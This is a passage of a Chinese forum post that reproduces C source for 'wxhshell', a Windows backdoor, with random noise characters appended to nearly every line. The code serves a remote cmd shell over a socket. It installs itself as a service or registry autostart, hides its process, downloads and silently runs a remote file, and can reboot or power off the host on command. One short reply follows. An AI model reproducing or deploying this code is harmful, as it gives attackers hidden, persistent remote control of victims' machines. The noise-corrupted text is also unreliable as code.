  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZRf-V9  
  if(DownloadFile(cmd,wsh)) t,4q]Jt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7^4F,JuJO  
  else O4ciD 1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b*LEoQSl0V  
  } $`W .9  
  else { aT$q1!U`j2  
oM/(&"  
    switch(cmd[0]) { *G7$wW:?  
  W2G`K+p  
  // 帮助 J)vP<.3:  
  case '?': { 55 )!cw4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $=uyZTYF)}  
    break; \Q7Nz2X  
  } qRT1Wre 3  
  // 安装 !Sx }~XB<  
  case 'i': { D_ybgX?0:  
    if(Install()) F/sXr(7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/Pffal  
    else SUsD)!u_H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u1s^AW8 y  
    break; p(in.Xz  
    } J;,6ydf8!  
  // 卸载 -e_ IDE  
  case 'r': { mE^mQ [Dk  
    if(Uninstall()) t$^1A1Ef  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y Dg  
    else Aq@_^mq1A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &;S.1tg  
    break; OQ;'Xo  
    } `VX]vumG  
  // 显示 wxhshell 所在路径 /_ }xTP"9  
  case 'p': { 4vKp341B  
    char svExeFile[MAX_PATH]; Tu2BQ4\[  
    strcpy(svExeFile,"\n\r"); b3N>RPsHS  
      strcat(svExeFile,ExeFile); S7&w r@  
        send(wsh,svExeFile,strlen(svExeFile),0); L)H' g  
    break;  5 fY\0  
    } _Bm/v^(  
  // 重启 $o"S zy  
  case 'b': { OBaG'lrZy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5RCQ<1  
    if(Boot(REBOOT)) U\'.rT[#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'|b$rP0@  
    else { F!OVx<  
    closesocket(wsh); >F+Mu-^  
    ExitThread(0); t<s:ut)Q!  
    } gBfYm  
    break; 9,wd,,ta  
    } P6V_cw$  
  // 关机 Hf!o6 o  
  case 'd': { yk OJhd3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {E`[ `Kf  
    if(Boot(SHUTDOWN)) ?n<b:oO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHSX3\(  
    else { <+@?V$&  
    closesocket(wsh); dYV'<  
    ExitThread(0); S\=j; Uem  
    } t"Ok-!c|  
    break; QSPneYD  
    } COPH)Bdq.  
  // 获取shell 6p`AdDV  
  case 's': { 4#Wczk-b  
    CmdShell(wsh);  U, _nEx  
    closesocket(wsh); ? RL[#d+y  
    ExitThread(0); rmXxid  
    break; R{Q*"sf  
  } N"Y)  
  // 退出 @b[{.m U  
  case 'x': { EfHo1Yn&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }pOL[$L  
    CloseIt(wsh); H0<(j(JK  
    break; 5ZeE& vG2  
    } _)s<E9t2N  
  // 离开 Au Ib>@a  
  case 'q': { P__JN\{9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B1dVHz#  
    closesocket(wsh);  pleLdGq  
    WSACleanup(); c"`o V! m  
    exit(1); Ay\=&4dv  
    break; PqV9k,5f  
        } v5 STe`  
  } W" >[sn|  
  } mLApF5Hy  
G|eY$5!i  
  // 提示信息 XFpII4 5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / blVm1F  
} K=,nX7Z5  
  } 4CA(` _i~  
xCU^4DO3p  
  return; tPu0r],`o  
} zAT7 ^q^  
uY jE)"  
// shell模块句柄 egQB!%D  
int CmdShell(SOCKET sock) X"_,#3Ko!  
{ `o~ dQb/k+  
STARTUPINFO si; %Jy0?WN  
ZeroMemory(&si,sizeof(si)); K.3)m]dCl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `4^-@}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; thG;~ W  
PROCESS_INFORMATION ProcessInfo; :|cC7, S  
char cmdline[]="cmd"; reo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /5cFa  
  return 0; Qtj.@CGB  
} 1k-YeQNe  
9G njJ  
// 自身启动模式 Yq~$Q4  
int StartFromService(void) *12,MO>go  
{ UjCQ W:[  
typedef struct .m--# r  
{ qKoD*cl)Za  
  DWORD ExitStatus; .|>zQ(7YC  
  DWORD PebBaseAddress; f#4,2Xf  
  DWORD AffinityMask; 6z;C~_BV  
  DWORD BasePriority; BET3tiHV  
  ULONG UniqueProcessId; ,w>WuRN"  
  ULONG InheritedFromUniqueProcessId; .Up\ 0|b  
}   PROCESS_BASIC_INFORMATION; yX%q7ex  
ODS8bD0!i  
PROCNTQSIP NtQueryInformationProcess; vo48\w7[  
<ezv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _H[LUl9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -M]NdgI  
P .I <.e  
  HANDLE             hProcess; P-B3<~*i!  
  PROCESS_BASIC_INFORMATION pbi; 6T3uv,2  
O>8|Lc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -1\*}m%1e  
  if(NULL == hInst ) return 0; LjZvWts?  
,&+"|,m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Sq!P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oW0A8_|9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -TIrbYS`  
3O{*~D&n  
  if (!NtQueryInformationProcess) return 0; *g0}pD;r  
&yu3nA:7D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SVr3OyzI  
  if(!hProcess) return 0; wUU Dq?!k\  
:.;p Rz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VD=}GY33=  
<d2?A}<  
  CloseHandle(hProcess); N0Y$QWr_$  
'. Ww*N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ].E89_|O  
if(hProcess==NULL) return 0; m8Wv46%  
n^} -k'l  
HMODULE hMod; !Q-h#']~L  
char procName[255]; `2}Frw+?  
unsigned long cbNeeded; 'brt?oZ%  
977%9z<h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zDEX `~c  
1|]IWX|  
  CloseHandle(hProcess); 2Fi ~GY_  
nC-=CMWWr  
if(strstr(procName,"services")) return 1; // 以服务启动 _(#HQd,i  
ejr9e@D^  
  return 0; // 注册表启动 bfjC:"!H  
} Uavr>-  
7(ni_|$|  
// 主模块 Vrwy+o>:X  
int StartWxhshell(LPSTR lpCmdLine) ;$`5L"I5$  
{ Xv1 SRP#  
  SOCKET wsl; &m=GkK  
BOOL val=TRUE; S5Hb9m&&  
  int port=0; sj;n1t}$S  
  struct sockaddr_in door; 4rcNBmA,  
}01c7/DRP<  
  if(wscfg.ws_autoins) Install(); kAu-=X  
Ry$zF~[   
port=atoi(lpCmdLine); H@+1I?l  
]xx}\k  
if(port<=0) port=wscfg.ws_port; e8WuAI86  
8OS@gpz  
  WSADATA data; nC:>1 kt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -<g&U*/E  
S]}hh,A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OouIV3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TFfV?rBI  
  door.sin_family = AF_INET; d8)ps,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & bKl(,  
  door.sin_port = htons(port); J?oI%r7^  
|S0w>VH>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >)Udb//  
closesocket(wsl); &oz^dlw  
return 1; :V9%R~h/  
} r<%ua6@  
m1 tYDZ"i  
  if(listen(wsl,2) == INVALID_SOCKET) { -qbx:Kk (  
closesocket(wsl); p\'0m0*   
return 1; 6#J>b[Q  
} 6-fdfU  
  Wxhshell(wsl); *?JNh;  
  WSACleanup(); 1BjMVMH  
G!u+~{g  
return 0; 7R4t%^F  
Y94 ^mt-  
} OV"uIY[%8V  
*(,zPn,  
// 以NT服务方式启动 8gHOs#\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~E8L,h~  
{ iL$~d@AEn  
DWORD   status = 0; {4 y#+[  
  DWORD   specificError = 0xfffffff; qxQuXF>:#  
IjPCaH.:t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I[l8@!0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TQ,KPf$0U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t'e\Z2  
  serviceStatus.dwWin32ExitCode     = 0; )bgaqca_{  
  serviceStatus.dwServiceSpecificExitCode = 0; !RXG{1 :  
  serviceStatus.dwCheckPoint       = 0; > u!# 4  
  serviceStatus.dwWaitHint       = 0; oSl@EI  
RPB%6z$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '!DS3zEeLS  
  if (hServiceStatusHandle==0) return; \) FFV-k5  
+_T`tmQ  
status = GetLastError(); Gp9:#L!  
  if (status!=NO_ERROR) O a%ZlEUF  
{ 4lF(..Ix  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FK+`K<  
    serviceStatus.dwCheckPoint       = 0; ;ztt*py  
    serviceStatus.dwWaitHint       = 0; Yo*.? Mq'  
    serviceStatus.dwWin32ExitCode     = status; M%z$yU`ac  
    serviceStatus.dwServiceSpecificExitCode = specificError; X{u\|e{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzWWW^kNL  
    return; ?r'2GR2Sk4  
  } YAsE,M+  
PC<[ $~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a;h.I}*]  
  serviceStatus.dwCheckPoint       = 0; 1PUeU+  
  serviceStatus.dwWaitHint       = 0; >+FaPym  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rizWaw5E!8  
} 'JRYf;9c  
~QngCg-5q  
// 处理NT服务事件,比如:启动、停止 \|YIuzlO4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fz{T;  
{ ;i,3KJ[L  
switch(fdwControl) [vTk*#Cl4  
{ m>9j dsqB  
case SERVICE_CONTROL_STOP: I /z`)  
  serviceStatus.dwWin32ExitCode = 0; l 2ARM3"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UJiy] y  
  serviceStatus.dwCheckPoint   = 0; j[${h, p?  
  serviceStatus.dwWaitHint     = 0; _Q9I W  
  { $]<wQH/?_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gZ>) S@  
  } mlO\wn-F  
  return; REGk2t.L  
case SERVICE_CONTROL_PAUSE: X.GK5Phd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y=ksrs>w  
  break; FaLc*CU  
case SERVICE_CONTROL_CONTINUE: Ih<.2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yA]OX"T?*  
  break; s3[\&zt  
case SERVICE_CONTROL_INTERROGATE: (H6Mi.uZ  
  break; U[{vA6  
}; /@?lV!QiO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;-^8lWt  
} o/hj~;(]  
5ENEx  
// 标准应用程序主函数 uI\6":/u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d:#z{V_  
{ kfgkZ"9  
/8wfI_P>M"  
// 获取操作系统版本 i:|e#$x  
OsIsNt=GetOsVer(); * /^}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9/h[(qvT  
97k}{tG  
  // 从命令行安装 Al+}4{Q+?  
  if(strpbrk(lpCmdLine,"iI")) Install(); x c|1?AFj  
]oLyvG  
  // 下载执行文件 k_`h (R  
if(wscfg.ws_downexe) { M.67[Qj~"u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j@R"AP}  
  WinExec(wscfg.ws_filenam,SW_HIDE); }`y%*--  
} bT MgE Y  
*)L~1;7j>  
if(!OsIsNt) { 0"{-<Wot}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z~] G+(  
HideProc(); ^B!()39R?  
StartWxhshell(lpCmdLine); dVSQG947i:  
} 9t!Agxm  
else .=zBUvy  
  if(StartFromService()) W[:CCCDL  
  // 以服务方式启动 >en\:pJn)'  
  StartServiceCtrlDispatcher(DispatchTable); s6k(K>Pl  
else [)?yH3  
  // 普通方式启动 2B"tT"f  
  StartWxhshell(lpCmdLine); XEBj=5sG  
M'VJE|+t  
return 0; !JtM`x/yR  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八